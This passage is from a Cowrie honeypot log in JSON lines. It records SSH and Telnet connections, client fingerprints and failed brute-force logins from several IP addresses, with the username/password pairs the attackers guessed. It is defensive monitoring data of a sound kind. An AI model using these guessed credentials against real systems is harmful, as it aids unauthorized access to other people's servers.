ac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:55.086147Z","src_ip":"159.203.92.129","session":"4701e5c5c90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator456123","message":"login attempt [administrator/administrator456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:55.097842Z","src_ip":"159.203.92.129","session":"4701e5c5c90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:56.104038Z","src_ip":"159.203.92.129","session":"4701e5c5c90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49894,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf18440fcea5","protocol":"ssh","message":"New connection: 159.203.92.129:49894 (159.203.135.109:22) [session: cf18440fcea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:23:39.773386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:23:39.777657Z","src_ip":"159.203.92.129","session":"cf18440fcea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:23:39.781824Z","src_ip":"159.203.92.129","session":"cf18440fcea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@123","message":"login attempt [administrator/administrator@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:23:39.793451Z","src_ip":"159.203.92.129","session":"cf18440fcea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:23:40.801156Z","src_ip":"159.203.92.129","session":"cf18440fcea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4150012a6caf","protocol":"ssh","message":"New connection: 159.203.92.129:34130 (159.203.135.109:22) [session: 4150012a6caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:24:24.548802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:24:24.553350Z","src_ip":"159.203.92.129","session":"4150012a6caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:24:24.558630Z","src_ip":"159.203.92.129","session":"4150012a6caf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2018","message":"login attempt [administrator/administrator@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:24:24.571615Z","src_ip":"159.203.92.129","session":"4150012a6caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:24:25.577741Z","src_ip":"159.203.92.129","session":"4150012a6caf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.16.117.84","src_port":56084,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b41063e7dc0","protocol":"telnet","message":"New connection: 103.16.117.84:56084 (10.17.0.5:23) [session: 1b41063e7dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:24:59.650472Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57914,"dst_ip":"159.203.135.109","dst_port":22,"session":"d196606900e6","protocol":"ssh","message":"New connection: 159.203.92.129:57914 (159.203.135.109:22) [session: d196606900e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:09.814360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:09.819853Z","src_ip":"159.203.92.129","session":"d196606900e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:09.827628Z","src_ip":"159.203.92.129","session":"d196606900e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2019","message":"login attempt [administrator/administrator@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:09.845866Z","src_ip":"159.203.92.129","session":"d196606900e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:10.865970Z","src_ip":"159.203.92.129","session":"d196606900e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":23332,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a4a89fd2686","protocol":"ssh","message":"New connection: 125.166.19.90:23332 (159.203.135.109:22) [session: 6a4a89fd2686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:18.340962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:18.351719Z","src_ip":"125.166.19.90","session":"6a4a89fd2686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:18.672835Z","src_ip":"125.166.19.90","session":"6a4a89fd2686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa112233","message":"login attempt [ubuntu/Aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:19.778913Z","src_ip":"125.166.19.90","session":"6a4a89fd2686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:21.050666Z","src_ip":"125.166.19.90","session":"6a4a89fd2686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.167.196.90","src_port":61077,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc36c2eea74","protocol":"telnet","message":"New connection: 82.167.196.90:61077 (159.203.135.109:23) [session: 0cc36c2eea74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:27.696186Z"}
{"eventid":"cowrie.session.closed","duration":30.49374294281006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:30.144113Z","src_ip":"103.16.117.84","session":"1b41063e7dc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.01818323135376,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:40.714206Z","src_ip":"82.167.196.90","session":"0cc36c2eea74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56794,"dst_ip":"159.203.135.109","dst_port":22,"session":"b697251fefbe","protocol":"ssh","message":"New connection: 159.203.92.129:56794 (159.203.135.109:22) [session: b697251fefbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:51.525479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:51.530243Z","src_ip":"159.203.92.129","session":"b697251fefbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:51.534750Z","src_ip":"159.203.92.129","session":"b697251fefbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2020","message":"login attempt [administrator/administrator@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:51.546247Z","src_ip":"159.203.92.129","session":"b697251fefbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:25:52.552319Z","src_ip":"159.203.92.129","session":"b697251fefbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53156,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ee932237ebe","protocol":"ssh","message":"New connection: 159.203.92.129:53156 (159.203.135.109:22) [session: 5ee932237ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:26:33.892216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:26:33.896403Z","src_ip":"159.203.92.129","session":"5ee932237ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:26:33.900605Z","src_ip":"159.203.92.129","session":"5ee932237ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2021","message":"login attempt [administrator/administrator@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:26:33.911640Z","src_ip":"159.203.92.129","session":"5ee932237ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:26:34.917881Z","src_ip":"159.203.92.129","session":"5ee932237ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":45600,"dst_ip":"10.17.0.5","dst_port":22,"session":"4344727833a0","protocol":"ssh","message":"New connection: 150.95.157.171:45600 (10.17.0.5:22) [session: 4344727833a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:14.391705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:14.396551Z","src_ip":"150.95.157.171","session":"4344727833a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:14.556375Z","src_ip":"150.95.157.171","session":"4344727833a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"123123","message":"login attempt [ts3server/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:15.242089Z","src_ip":"150.95.157.171","session":"4344727833a0","protocol":"ssh"}
